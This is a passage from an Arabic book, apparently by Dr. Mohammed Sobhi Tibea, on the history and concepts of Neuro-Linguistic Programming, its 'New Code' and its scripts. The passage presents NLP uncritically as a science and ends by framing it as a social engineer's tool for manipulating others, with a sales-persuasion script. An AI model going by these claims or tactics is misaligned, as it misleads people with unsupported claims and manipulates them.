‫ﻧﻣوذَج‪ :‬ﺑﻣﺎذا ﺗﺷﻌر؟ وﺑﻣﺎذا ﺗﻔﻛر؟ ﻣﺎذا‬ ‫اﻟﻧﺗﺎﺋﺞ‪ ...‬أﺛﻧﺎء ﻧﻣذﺟﺔ ﻣﯾﻠﺗون وﻓرﺟﯾﻧﯾﺎ ﻛﺎن ﺑﺎﻧدﻟر ﻻ ﯾﻛﺗﻔﻲ ﺑﻣﻼﺣظﺔ اﻷﺳﺎﻟﯾب اﻟﻠﻐوﯾﺔ ﺑل ﻛﺎن ﯾﺳﺄل اﻟ ْ‬
‫ﺗرى وﻣﺎذا ﺗﺳﻣﻊ؟ أي أﻧﮫ ﯾﺗﺗﺑﻊ أﺣداث ﻣﺎ وراء اﻟﺳﻠوك‪ ،‬وﻣن ﺧﻼل ھذه اﻟﺗﺳﺎؤﻻت وﺟد ﺑﺎﻧدﻟر أن ﻟﻛل ﻓﻌل ﺑرﻧﺎﻣﺟﺎ ﻋﻘﻠﯾﺎ ذا ﺧطوات‪ ،‬وﻣﺗﻰ‬
‫ﺗﺗﺎﺑﻌت اﻟﺧطوات ﺑﻧﻔس اﻟطرﯾﻘﺔ ﻛﺎﻧت اﻟﻧﺗﯾﺟﺔ ﻧﻔﺳﮭﺎ‪ ،‬وﻣﺗﻰ اﺧﺗل ﺗرﺗﯾب اﻟﺧطوات ﺗﻐﯾرت اﻟﻧﺗﺎﺋﺞ‪.‬‬
‫وﻟﻧﺷرح ھذه اﻟﻔﻛرة‪:‬‬
‫ﻋﻧدﻣﺎ أرﯾد أن أﺷرب ﻗﮭوة ﻓﺈن ھذا ﯾﺗم ﻣن ﺧﻼل ﺑرﻧﺎﻣﺞ ﻗد ﺗﻛون ﺧطواﺗﮫ ﻋﻠﻰ اﻟﻧﺣو اﻟﺗﺎﻟﻲ‪:‬‬
‫‪ -1‬إﺣﺳﺎس ﺑﺎﻟﻌطش أو ﻧﺣو ﻣﻣﺎ أرﯾد ﻣﻌﺎﻟﺟﺗﮫ ﺑﺷﻲء ﺣﺎر‪.‬‬
‫‪ -2‬ﺗﺧﯾل ﺻورة ﻛﺄس ﻓﻲ اﻟﻌﻘل ﻋﻠﻰ ھﯾﺋﺔ ﻣﻌﯾﻧﺔ‪.‬‬
‫‪ -3‬إﺣﺳﺎس ﺑﻣﻠﻣس اﻟﻛﺄس وﺣرارﺗﮫ‪.‬‬
‫‪ -4‬اﻟدﺧول ﻓﻲ ﻋﻣﻠﯾﺔ اﻟﺑﺣث ﻋن اﻟﻛﺄس اﻟﻣﺗﺧﯾّل‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪852‬‬

‫‪ -5‬إذا وﺻﻠت إﻟﻰ ﻧﺗﯾﺟﺔ ﻣﻣﺎﺛﻠﺔ ﻟﺻورﺗﻲ اﻟﻣﺗﺧﯾﱠﻠﺔ )اﻟﺗرﻛﯾب اﻟﻣﻘﺎرن( ﻓﺳوف ﯾﻧﺗﮭﻲ اﻟﺑرﻧﺎﻣﺞ‪ ،‬أﻣﺎ إذا وﺻﻠت إﻟﻰ ﻧﺗﯾﺟﺔ ﻣﺧﺗﻠﻔﺔ ﻓﺳوف‬
‫أﺳﺗﻣر ﻓﻲ اﻟﺑﺣث ﺣﺗﻰ أﺻل إﻟﻰ ﻣﺎ أرﯾد أو أﺿطر إﻟﻰ ﺗﻐﯾﯾر ﺗرﻛﯾﺑﻲ اﻟﻣﻘﺎرن ﺣﺗﻰ ﯾﺗواﻓﻖ ﻣﻊ ﻣﺎ ھو ﻣوﺟود‪ .‬وﺑﺎﻟﺗﺎﻟﻲ ﯾﻧﺗﮭﻲ‬
‫اﻟﺑرﻧـﺎﻣﺞ‬
‫اﻟﺣﻘﯾﻘﺔ أن ﻛل أﻓﻌﺎﻟﻧﺎ وﻣﻣﺎرﺳﺎﺗﻧﺎ ﻓﻲ اﻟﺣﯾﺎة ﺗﺻدر ﻋن ﺑراﻣﺞ ﻋﻘﻠﯾﺔ ﻣﺗﻛﺎﻣﻠﺔ‪ .‬وإذا ﻛﺎن اﻟﺑرﻧﺎﻣﺞ ﻧﺎﺟﺣﺎ ﻓﺳﯾﻛون اﻟﻌﻣل ﻧﺎﺟﺣﺎ‪ ،‬وإذا ﻛﺎن ﻓﺎﺷﻼ‬
‫ﻓﺳﯾﻛون اﻟﻌﻣل ﻓﺎﺷﻼ‪.‬‬
‫ھذه اﻟﻧظرﯾﺔ اﻟﺗﻲ اﻧﺗﮭﻰ إﻟﯾﮭﺎ ﺑﺎﻧدﻟر ﯾﻣﻛن ـ ﻧظرﯾﺎ ـ أن ﺗﻧﺑﻧﻲ ﻋﻠﯾﮭﺎ آﺛﺎر ھﺎﺋﻠﺔ‪:‬‬
‫‪ -1‬ﯾﻣﻛﻧك أن ﺗﻌدل ﻓﻲ ﺑراﻣﺟك اﻟﻌﻘﻠﯾﺔ‪.‬‬
‫‪ -2‬ﯾﻣﻛﻧك أن ﺗﺣذف ﻣن ﺑراﻣﺟك اﻟﻌﻘﻠﯾـﺔ‪.‬‬
‫‪ -3‬ﯾﻣﻛﻧك أن ﺗﺳﺗﻌﯾر ﺑرﻧﺎﻣﺟﺎ ﻋﻘﻠﯾﺎ ﻣن ﻏﯾرك)اﻟﻧﻣذﺟﺔ( أو )اﻟﻣﺣﺎﻛﺎة(‪.‬‬
‫‪ -4‬ﺑﻌض اﻟﻌﻘول ﻗد ﻻ ﺗﺗﻘﺑل ﺑﻌض اﻟﺑراﻣﺞ‪) .‬اﻟﻔروق اﻟﻔردﯾﺔ(‬
‫وﺑﮭذا ﻧﺟد أن )ﺑﺎﻧدﻟر( ﻗد أﺿﺎف ﺷﯾﺋﺎ ﺟدﯾدا ھو اﻟﺑراﻣﺞ اﻟﻌﻘﻠﯾﺔ‪.‬‬
‫إﻟﻰ ھﻧﺎ ﻟم ﯾﻛن اﻟرﺟﻼن ﻗد وﺿﻌﺎ )ﻋﻠﻣﺎ( ﺑﺎﻟﻣﻌﻧﻰ اﻟﻣﻌروف ﻟﻣﺻطﻠﺢ اﻟﻌﻠم ﺑل ﻛﺎﻧت ﻓﻘط ﺑﻌض اﻟﻣﻼﺣظﺎت‪ ،‬وﻟﻛن ﻣﺎ ﻓﻌﻼه ﻛﺎن ھو اﻹﺑداع‬
‫اﻟﺣﻘﯾﻘﻲ ﻓﻲ اﻟـ‪ . NLP‬وﻣن أﺟل أن ﯾﻌطﯾﺎ اﻛﺗﺷﺎﻓﮭﻣﺎ ﺻﺑﻐﺔ ﻋﻠﻣﯾﺔ ﺣﺎوﻻ إﺿﺎﻓﺔ ﺑﻌض اﻹﺿﺎﻓﺎت‪ ،‬ﻓﺗﺷﻛﻠت اﻟﻧواة اﻷوﻟﻰ ﻟﻠـ ‪ NLP‬ﻣن‪:‬‬
‫‪ -1‬إطﺎر ﻓﻛري ﯾﺗﻣﺛل ﻓﻲ ﺑﻌض اﻵراء واﻷﻓﻛﺎر اﻟﻔﻠﺳﻔﯾﺔ ﻟﻠﻔﯾﻠﺳوف اﻟﻔرﯾد ﻛورزﺑﺳﻛﻲ )اﻓﺗراﺿﺎت(‬
‫‪ -2‬ﻣﮭﺎرات ﻣﯾﻠﺗون وﻓرﺟﯾﻧﯾﺎ‪.‬‬
‫‪ -3‬ﻣﮭﺎرة اﻟﻧﻣذﺟﺔ اﻟﺗﻲ اﻛﺗﺳﺑﺎھﺎ ﻣن ﺧﻼل ﺗﺟرﺑﺗﮭﻣﺎ ﻣﻊ ﻣﯾﻠﺗون وﻓرﺟﯾﻧﯾﺎ‪.‬‬
‫‪ -4‬اﻟﺑراﻣﺞ اﻟﻌﻘﻠﯾﺔ‪.‬‬
‫وﻟﻌﻠك أدرﻛت اﻵن ﺳر ﺻﻌوﺑﺔ ﺗﻌرﯾف اﻟـ !‪ NLP‬إن ھذا اﻟﻌﻠم ﻣﻠﻣﻠم‪ ،‬وﻣن ﺛم ﻛﺎن ﻣن اﻟﺻﻌب إﯾﺟﺎد ﺗﻌرﯾف دﻗﯾﻖ ﻣﻧﺿﺑط ﻟﮫ‪ .‬ﻏﯾر أن ﺳﺣر‬
‫ھذا اﻟﻌﻠم ھو ﻓﻲ ﻗدرﺗﮫ ﻋﻠﻰ ﺗﺣوﯾل ھذه )اﻟﻠﻣﻠﻣﺔ( إﻟﻰ ﺗﻘﻧﯾﺎت ﻓﺎﻋﻠﺔ ﻣؤﺛـرة‪.‬‬
‫ﻣﺎ ﺑﻌد اﻟﺗﺄﺳﯾس‪.‬‬
‫ﺑﻌد ﺳﺑﻊ ﺳﻧوات ﻣن ﺗﺄﺳﯾس ھذه اﻟﻧظرﯾﺔ ﻋﻠﻰ ﯾد ﺟرﯾﻧدر وﺑﺎﻧدﻟر وﻗﻊ ﺗﻧﺎﻓس ﻏﯾر ﺣﻣﯾد ﺑﯾﻧﮭﻣﺎ ﻓﯾﻣن ﯾﺳﺟل ھذه اﻟﻧظرﯾﺔ ﺑﺎﺳﻣﮫ ﻛﻌﻼﻣﺔ ﺗﺟﺎرﯾﺔ‬
‫ﻣﺣﺗﻛرة‪ ،‬ھذا اﻟﺗﻧﺎﻓس أورث اﻧﺷﻘﺎﻗﺎ ﻓﺎﻓﺗرﻗﺎ وﺻﺎر ﻛل ﻣﻧﮭﻣﺎ ﯾﻌﻠم ﺑطرﯾﻘﺗﮫ‪ ،‬وﻗد أدى ھذا إﻟﻰ اﻧﺗﺷﺎر اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﻛﺎﻧﺎ ﯾرﯾدان اﻻﺣﺗﻔﺎظ ﺑﮭﺎ‬
‫ﺳرا وﺗﻘدﯾﻣﮭﺎ ﻟﻣن ﯾدﻓﻊ أﻛﺛر!‬
‫ﻛﺎن ھذا اﻟﺗﻧﺎﻓس ﻓﺎﺗﺣﺔ ﺧﯾر ﻋﻠﻰ اﻟﻌﺎﻟم‪ ،‬ﻓﻘد ﺻﺎر ﻛل ﻓرﯾﻖ ﯾﺣﺎول أن ﯾﺟﺗذب إﻟﯾﮫ أﻧﺻﺎرا وﻣﻌﺟﺑﯾن‪ ،‬ﻓﺻﺎر ﯾﻘدم ﻋروﺿﺎ أﻛﺛر‪ ،‬وﯾﻛﺷف‬
‫أﺳرارا أﻛﺛر‪ ،‬ﻓﺎﻧﺗﺷر اﻟﻌﻠم وﺗداوﻟﮫ اﻟﻧﺎس وﺷﺎع ﻓﻲ أوﺳﺎطﮭم‪ .‬ﻏﯾر أن اﻟﺗﻧﺎﻓس أدى أﯾﺿﺎ إﻟﻰ آﺛﺎر ﻏﯾر ﺣﻣﯾدة‪ ،‬ﻓﻔﻲ ﺳﺑﯾل اﻟﻛﺳب اﻟﺳرﯾﻊ‪ ،‬ﺑدأ‬
‫اﻟﺑﻌض ﯾﻘدم ﻣﻐرﯾﺎت ﻻ أﺧﻼﻗﯾﺔ‪ ،‬وظﮭرت دﻋﺎﯾﺎت ﻣن ﻧﺣو‪ :‬ﻛﯾف ﺗﻐوي اﻟﺟﻧس اﻵﺧر؟ ﻛﯾف ﺗﺟري اﻟﺻﻔﻘﺎت ﻣﻊ ﻣن ﻻ ﯾرﯾد؟ ‪ ...‬اﻟﺦ‪ .‬ﻣﻣﺎ‬
‫أدى إﻟﻰ رﻓﻊ اﻟﻛﺛﯾرﯾن ﻣن اﻟﻘﺿﺎﯾﺎ ﺿد ﻣدرﺑﻲ اﻟـ ‪ NLP‬ﺑﺣﺟﺔ أﻧﮭم ﺗﺳﺑﺑوا ﻓﻲ اﻹﺿرار ﺑﮭم ﻣﺎدﯾﺎ أو ﻣﻌﻧوﯾﺎ‪ .‬وھذا ﻛﻠﮫ أورث ھذا اﻟﻌﻠم ﺳﻣﻌﺔ‬
‫اﻟﻌﻠم ﺑﻌض اﻟدارﺳﯾن اﻟﻣﮭﺗﻣﯾن‪،‬‬
‫َ‬ ‫ﺳﯾﺋﺔ‪ ،‬ﻣﻣﺎ ﺣدا ﺑﺑﻌض اﻟﻣﺷﺗﻐﻠﯾن ﺑﮫ إﻟﻰ اﺑﺗداع أﺳﻣﺎء أﺧرى ﻓرارا ﻣن ھذه اﻟﺻورة اﻟﻘﺎﺗﻣﺔ‪ .‬ﺑﻌد ﻓﺗرة ﺗﺑﻧﻰ ھذا‬
‫ﻓظﮭرت ﺟﮭﺎت ﻣﻌﺗﺑرة ﺗﻘدم ھذا اﻟﻌﻠم ﺑﻣﻌﺎﯾﯾر ﺟﯾدة‪ ،‬وﺗوﺟﮭﺎت ﻋﺎﻣﺔ ﺣﻣﯾدة‪ ،‬وأﺧﻼﻗﯾﺎت ﻋﺎﻟﯾﺔ‪ .‬وﺧﻼل اﻟﺳﻧوات اﻟﺛﻣﺎﻧﯾﺔ اﻷوﻟﻰ ﻛﺎن ﺛﻣت‬
‫آﺧرون أﺳﮭﻣوا ﻓﻲ ﺗﺄﺳﯾس ھذا اﻟﻌﻠم وإﻗﺎﻣﺔ ﺑﻧﯾﺎﻧﮫ‪ ،‬ﻣﻧﮭم‪:‬‬
‫‪ -1‬روﺑرت دﯾﻠﺗس‪ ،‬ﻣؤﺳس ﺟﺎﻣﻌﺔ اﻟـ ‪ NLP‬ﻓﻲ ﻛﺎﻟﯾﻔورﻧﯾﺎ‪.‬‬
‫‪ -2‬واﯾت وود ﺳﻣول‪ ،‬رﺋﯾس اﻻﺗﺣﺎد اﻟﻌﺎﻟﻣﻲ ﻟﻣدرﺑﻲ اﻟﺑرﻣﺟﺔ اﻟﻌﺻﺑﯾﺔ اﻟﻠﻐوﯾﺔ‪.‬‬
‫ﻣﻘﺪﻣﺔ ﺣﻮل اﻟﻨﻈﺮﯾﺔ‬
‫اﻟﮭﻧدﺳﺔ اﻟﻧﻔﺳﯾﺔ ھﻲ اﻟﻣﺻطﻠﺢ اﻟﻌرﺑﻲ ﻟﮭذا اﻟﻌﻠم واﻟﺗرﺟﻣﺔ اﻟﺣرﻓﯾﺔ ﻟﻠﻌﺑﺎرة اﻹﻧﻛﻠﯾزﯾﺔ ھﻲ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ أو اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ ﻟﻠﺟﮭﺎز‬
‫اﻟﻌﺻﺑﻲ‬
‫‪ -‬ﻋﺻﺑﻲ‬
‫‪ -‬ﻟﻐوي‬
‫‪ -‬ﺑرﻣﺟﺔ‬
‫ﻋﺻﺑﻲ‪ :‬ﺗﻐطﻲ ﻣﺎ ﯾﺣﺻل ﻓﻲ اﻟﻣﺦ واﻟﻧظﺎم اﻟﻌﺻﺑﻲ وﻛﯾف ﯾﻘوم اﻟﺟﮭﺎز اﻟﻌﺻﺑﻲ ﺑﻌﻣﻠﯾﺔ ﺗﺷﻔﯾر اﻟﻣﻌﻠوﻣﺎت وﺗﺧزﯾﻧﮭﺎ ﻓﻲ اﻟذاﻛرة وﻣن ﺛم‬
‫اﺳﺗدﻋﺎء ھذه اﻟﺧﺑرات واﻟﻣﻌﻠوﻣﺎت ﻣرة أﺧرى‪ .‬أﻣﺎ اﻟﺟﮭﺎز اﻟﻌﺻﺑﻲ ﻓﮭو اﻟذي ﯾﺗﺣﻛم ﻓﻲ وظﺎﺋف اﻟﺟﺳم وأداءه وﻓﻌﺎﻟﯾﺎﺗﮫ ﻛﺎﻟﺷﻌور واﻟﺳﻠوك‬
‫واﻟﺗﻔﻛﯾر‪.‬‬
‫ﻟﻐوي‪ :‬ﺗرﺟﻊ إﻟﻰ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﻧﺳﺗﺧدم ﺑﮭﺎ ﻟﻐﺔ اﻟﺣواس ‪ Nonverbal‬وﻟﻐﺔ اﻟﻛﻠﻣﺎت ‪ Verbal‬وﻛﯾف ﺗؤﺛر ﻋﻠﻰ ﻣﻔﺎھﯾﻣﻧﺎ واﻟﻌﻼﻗﺔ ﻣﻊ اﻟﻌﺎﻟم‬
‫اﻟداﺧﻠﻲ‪ ،‬واﻟﻠﻐﺔ ھﻲ وﺳﯾﻠﺔ اﻟﺗﻌﺎﻣل ﻣﻊ اﻵﺧرﯾن‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪853‬‬

‫ﺑرﻣﺟﺔ‪ :‬ﺗرﺟﻊ إﻟﻰ اﻟﻣﻘدرة ﻋﻠﻰ ﺗﻧظﯾم اﻟﻣﻌﻠوﻣﺎت )اﻟﺻور واﻷﺻوات واﻻﺣﺎﺳﯾس واﻟرواﺋﺢ واﻟرﻣوز واﻟﻛﻠﻣﺎت( داﺧل أﺟﺳﺎﻣﻧﺎ وﻋﻘوﻟﻧﺎ‬
‫واﻟﺗﻲ ﺗﻣﻛﻧﻧﺎ ﻣن اﻟوﺻول إﻟﻰ اﻟﻧﺗﯾﺟﺔ اﻟﻣرﻏوب ﻓﯾﮭﺎ‪ ،‬وھذه اﻷﺟزاء ﺗﺷﻛل اﻟﺑراﻣﺞ اﻟﺗﻲ ﺗﻌﻣل داﺧل ﻋﻘوﻟﻧﺎ‪ .‬أﻣﺎ اﻟﺑرﻣﺟﺔ ﻓﮭﻲ طرﯾﻘﺔ ﺗﺷﻛﯾل‬
‫ﺻورة اﻟﻌﺎﻟم اﻟﺧﺎرﺟﻲ ﻓﻲ ذھن اﻹﻧﺳﺎن‪ ،‬أي ﺑرﻣﺟﺔ دﻣﺎغ اﻹﻧﺳﺎن‪.‬‬
‫ﻓﺮﺿﯿﺎت اﻟﺒﺮﻣﺠﺔ اﻟﻠﻐﻮﯾﺔ اﻟﻌﺼﺒﯿﺔ )‪(Codes of Neurolinguistic Programming‬‬

‫ﻓﻲ أواﺋل ‪ NLP 1970‬ﻛﺎﻧت ﻋﺑﺎره ﻋن ﻓرﺿﯾﮫ‪/‬ﻛود ﺗﺗﺄﻟف ﻣن ھﯾﺋﺔ ﺟﻣﺎﻋﯾﺔ ﻟﻠﺗﻌﻠﯾم واﻟﺗﺣﻘﯾﻖ اﻟﺗﻲ أﻧﺷﺄت اﻟﻛﺗب اﻷوﻟﻰ وﻟﻔظ اﻟﺑرﻣﺟﺔ‬
‫اﻟﻌﺻﺑﯾﺔ اﻟﻠﻐوﯾﺔ‪ .‬ﻣﻊ ﻣرور اﻟوﻗت ﺟون ﺟرﻧدر وﻏﯾره واﺻﻠوا اﻟﻣﺳﺎھﻣﺔ ﻓﻲ ﻣﺟﺎل اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‪" .‬رﻣز‪/‬ﻓرﺿﯾﮫ ﺟدﯾد ﻣن‬
‫اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ" ھو اﻹطﺎر اﻷﺧﻼﻗﻲ واﻟﺟﻣﺎﻟﻲ ﻟﻠﺗﻧﻣﯾﺔ ‪.NLP‬‬
‫ﻛﻮد‪/‬ﻓﺮﺿﯿﮫ ﺟﺪﯾﺪ ﻣﻦ اﻟﺒﺮﻣﺠﺔ اﻟﻠﻐﻮﯾﺔ اﻟﻌﺼﺒﯿﺔ‬
‫وﻟدت أﻓﻛﺎر ‪ NLP‬اﻷﺻﻠﯾﺔ ﻓﻲ ‪ .1970‬ﻣﻊ ﻣرور اﻟوﻗت‪ ،‬ﺑدأ ﺟون ﺟرﻧدر أن ﯾدرك أن ﻛﺛﯾرا ﻣن اﻟﻘﺎﻧون اﻟﻘدﯾم ﯾﺟب أن ﯾﺗﻐﯾر ﻟﯾﻧﺎﺳب‬
‫اﻟﻌﺻر اﻟﺣدﯾث‪ .‬ﺑدأ اﻟﻌﻣل ﻣﻊ ﺟرﯾﺟوري ﺑﺎﺗﯾﺳون وﺟودﯾث دﯾﻠوزر وأﻧﺗﺞ "ﻗﺎﻧون‪/‬ﻓرﺿﯾﮫ ﺟدﯾده" واﻟﺗﻲ رﻛزت أﻛﺛر ﻋﻠﻰ ﻣﺎ ﯾﻌﺗﻘد‪/‬ﯾﻔﻛر ﺑﮫ‬
‫اﻟﺷﺧص أو ﯾﻌﺗﻘد أﻧﮫ ﺳﯾﺣدث وﺗﻐﯾﯾر ھذا اﻻﻋﺗﻘﺎد‪ .‬ﺗﻘﻧﯾﺎت اﻟﺗﻌﻠم ﻟﺗوﺳﯾﻊ اﻟﺗﺻورات اﻟﺧﺎﺻﺔ ﺑك‪ ،‬واﻟﺗﻐﻠب ﻋﻠﻰ أﻧﻣﺎط اﻟﺗﻔﻛﯾر اﻟﻘدﯾﻣﺔ‪ ،‬وﺗﻐﯾﯾر‬
‫اﻟﻌﺎدات ﻛل ھذا ﯾﺳﺎﻋد ﻋﻠﻰ اﻟﺗﻐﯾﯾر اﻟذاﺗﻲ‪ .‬ﯾرﻛز اﻟﻘﺎﻧون‪/‬اﻟﻔرﺿﯾﺔ اﻟﺟدﯾدة ﻋﻠﻰ اﻟﻣﻔﺎھﯾم اﻷﺳﺎﺳﯾﺔ ﻋن اﻟﺣﺎﻻت )‪ ،(state‬ﻋﻼﻗﺎت‬
‫اﻟواﻋﻲ‪/‬اﻟﻼوﻋﻲ )‪ ،(conscious/unconscious relationships‬وﻓﻼﺗر اﻹدراك اﻟﺣﺳﻲ )‪ ،(perceptual filters‬ﻛل ھذا ﯾﺷﯾر اﻟﻰ‬
‫ﺣﺎﻻت ﻋﻘﻠك وإدراﻛك ﻟﺗﻠك اﻟﺣﺎﻻت اﻟذھﻧﯾﺔ‪ .‬وﺗﻌﻧﻲ ھذه اﻟﻣﻔﺎھﯾم اﻟﺟدﯾدة ﻟﺗﺣرك ‪ NLP‬إﻟﻰ اﻷﻣﺎم وﻣﺳﺎﻋدة اﻟﻣﻣﺎرﺳﯾن ﻟﻠﺗﻔﻛﯾر ﻓﻲ طرق‬
‫ﺟدﯾدة‪ .‬ﯾﺗم ﺗدرﯾس اﻟﻌدﯾد ﻣن اﻟﻣﺑﺎدئ اﻷﺳﺎﺳﯾﺔ ﻣن اﻟﻘﺎﻧون اﻟﺟدﯾد اﻵن ﻛﺟزء ﻣن ﻣﻧﺎھﺞ ‪ NLP‬اﻟﺗﻌﻠﯾﻣﯾﺔ اﻟﻘﯾﺎﺳﯾﺔ‪ .‬وأﻓﺿل طرﯾﻘﺔ ﻟﻔﮭم ھذا‬
‫اﻟﻘﺎﻧون اﻟﺟدﯾد ﻣن ﺧﻼل ﻗراءة ‪ Turtles All the Way Down‬ﻟﻠﻛﺎﺗب ﺟرﻧدر ودﯾﻠوزر‪ .‬ﺑﺷرح ذﻟك ﻓﻲ ﻧدوة ﻋن "اﻟﻣﺗطﻠﺑﺎت اﻷﺳﺎﺳﯾﺔ‬
‫ﻟﻠﺷﺧﺻﯾﺔ ﻋﺑﻘرﯾﺔ"‪.‬‬
‫ﻓﻲ ﺟوھره‪ ،‬ﺣﺎﻟﺔ اﻟﻔرﺿﯾﺔ‪/‬اﻟﻘﺎﻧون اﻟﺟدﯾد ﻹﺣداث اﻟﺗﻐﯾﯾر ﯾﺟب أن ﯾﺷﻣل ﻋﻘل اﻟﻌﻣﯾل اﻟﻼوﻋﻲ‪ ،‬ﯾﺟب ﻋﻠﻰ اﻟﺳﻠوك اﻟﺟدﯾد ﺗﻠﺑﯾﺔ اﻻﺗﺟﺎه‬
‫اﻹﯾﺟﺎﺑﻲ اﻷﺻﻠﻲ‪ ،‬وﯾﺟب أن ﯾﺣدث اﻟﺗﻐﯾﯾر داﺧﻠﯾﺎ ﻋﻠﻰ ﻣﺳﺗوى اﻟﺣﺎﻟﺔ اﻟذھﻧﯾﺔ‪/‬اﻟﻌﻘﻠﯾﺔ وﻟﯾس ﻋﻠﻰ اﻟﻣﺳﺗوى اﻟﺳﻠوﻛﻲ‪ .‬ﺗﺷﯾر ھذه اﻟﻔرﺿﯾﺔ‬
‫اﻟﺟدﯾدة اﻟﻰ ﻛﯾﻔﯾﺔ ﻗﯾﺎم ‪ NLP‬ﺑﺧﻠﻖ ﺗﻐﯾرات ﺟدﯾﺔ وﺟذرﯾﺔ ﻟﺗﻔﻛﯾر اﻟﺷﺧص‪.‬‬
‫ھذا ھو اﻟﻣﻔﮭوم اﻷﺳﺎﺳﻲ ﻟﻠﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ ﻷﻧﮫ‪ ،‬ﻛﻣﺎ ﯾﻣﻛﻧك اﻟﺗﺣﻘﻖ وﺗﺣﻠﯾل اﻟﻘﺎﻧون‪/‬اﻟﻔرﺿﯾﺔ اﻟﺟدﯾد‪ ،‬ﺳوف ﻧﺑدأ ﻓﻲ رؤﯾﺔ ﻛﯾف ﯾﻣﻛن أن‬
‫ﺗﺳﺗﺧدم ﻟﻠﺗﻼﻋب ﺑﺎﻵﺧرﯾن‪ .‬ﻗﺑل اﻟﻘﯾﺎم ﺑذﻟك‪ ،‬ﻓﺈﻧك ﺗﺣﺗﺎج إﻟﻰ ﻓﮭم اﻟﺑراﻣﺞ اﻟﻧﺻﯾﺔ اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻘﺎﻧون اﻟﺟدﯾد‪.‬‬
‫اﻟﺒﺮاﻣﺞ اﻟﻨﺼﯿﺔ ﻓﻲ اﻟ ﻘﺎﻧﻮن‪/‬اﻟﻔﺮﺿﯿﺔ اﻟﺠﺪﯾﺪة )‪(Scripts in the New Code‬‬
‫ﯾﻣﯾل اﻟﻧﺎس اﻟﻰ اﻟﺗﻲ ﻟدﯾﮭﺎ ﻣﺷﺎﻛل ﻣﺷﺗرﻛﺔ‪ ،‬ﻟذﻟك ﺗم ﺗطوﯾر ﻣﺟﻣوﻋﺔ ﻣن اﻟﺑراﻣﺞ اﻟﻧﺻﯾﺔ ﻟﻣﺳﺎﻋدة اﻟﻣﻌﺎﻟﺟﯾن ﻻﺳﺗﺧدام اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ‬
‫اﻟﻌﺻﺑﯾﺔ ﻓﻲ ﻣﻣﺎرﺳﺎﺗﮭﺎ‪ .‬ھذه اﻟﺑراﻣﺞ اﻟﻧﺻﯾﺔ ﺗﻘود اﻟﻣﺷﺎرﻛﯾن ﻣن ﺧﻼل ﺳﻠﺳﻠﺔ ﻣن اﻷﻓﻛﺎر اﻟﺗﻲ ﺗﺳﺎﻋد ﻋﻠﻰ ﺗوﺟﯾﮫ اﻟﺷﺧص إﻟﻰ اﻟﻐﺎﯾﺔ‬
‫اﻟﻣرﺟوة‪ .‬اﻟﻌدﯾد ﻣن اﻟﻛﺗب اﻟﺟﯾدة ﻓﻲ اﻟﺑراﻣﺞ اﻟﻧﺻﯾﺔ ‪ NLP‬ﻣوﺟودة‪ ،‬ﻣﺛل اﻟﻛﺗﺎب اﻟﻛﺑﯾر ﻓﻲ ﺗﻘﻧﯾﺎت اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‬
‫)‪ +200 :(The Big Book of NLP Techniques‬أﻧﻣﺎط واﺳﺗراﺗﯾﺟﯾﺎت اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ اﻟﺗﻲ ﯾﻧﺻﺢ ﺑﺷدة‪.‬‬
‫ﻣﺛﺎل ﻟﺑرﻧﺎﻣﺞ ﻧﺻﻲ واﺣد ھو ﻣﺧطط ﻟﻛﯾﻔﯾﺔ زﯾﺎدة اﻟﻣﺑﯾﻌﺎت اﻟﺧﺎص ﺑك ﻋن طرﯾﻖ اﻟﺣﺻول ﻋﻠﻰ ﺷﺧص ﻣﺎ ﯾﺑدأ اﻟﺣدﯾث ﻋن أﺣﻼﻣﮫ‪ .‬ﺑﻣﺟرد‬
‫ﺟﻌﻠﮭم ﯾﺗﺣدﺛون ﻋن أھداف أو طﻣوﺣﺎت ﻣﻌﯾﻧﺔ‪ ،‬ﯾﻣﻛﻧك ﻓرض اﻟﻣﻧﺗﺞ أو اﻟﺧدﻣﺔ ﻣن ﺧﻼل اﻹﺟﺎﺑﺔ ﻋﻠﻰ واﺣدة ﻣن اﻻﺣﺗﯾﺎﺟﺎت ﻟﻠوﺻول إﻟﻰ‬
‫ﺗﻠك اﻷھداف‪ .‬ﻣن ﺧﻼل ﺑﻧﺎء إﯾﺟﺎﺑﯾﺎت ﻋن اﻟﻣﻧﺗﺞ اﻟﺧﺎص ﺑك ﻛﻣﺎ ﯾﻠﯾﻖ ﺑﺎﻟﺣﺎﺟﺔ اﻟﺗﻲ ﻟدﯾﮭم‪ ،‬ﻓﺈﻧك ﺗﻌطﻲ ادﻣﻐﺔ اﻟﺑﺎﺋﻌﯾن اﻟﻣﺣﺗﻣﻠﯾن طرﯾﻘﺔ ﻟرﺑط‬
‫اﻟﻣﻧﺗﺞ اﻟﺧﺎص ﺑك ﻣﻊ ﻣﺑﯾﻌﺎت إﯾﺟﺎﺑﯾﺔ‪.‬‬
‫إذا ﻛﻧت ﺗﺄﺧذ ﺑﻌض اﻟوﻗت ﻋﻠﻰ ﺟوﺟل ﻓﺳوف ﺗﺟد اﻟﻛﺛﯾر ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟواردة ھﻧﺎ ﺳﺗرى أن اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ﯾﻣﻛن أن ﺗﺄﺧذ ﻋﻠﻰ‬
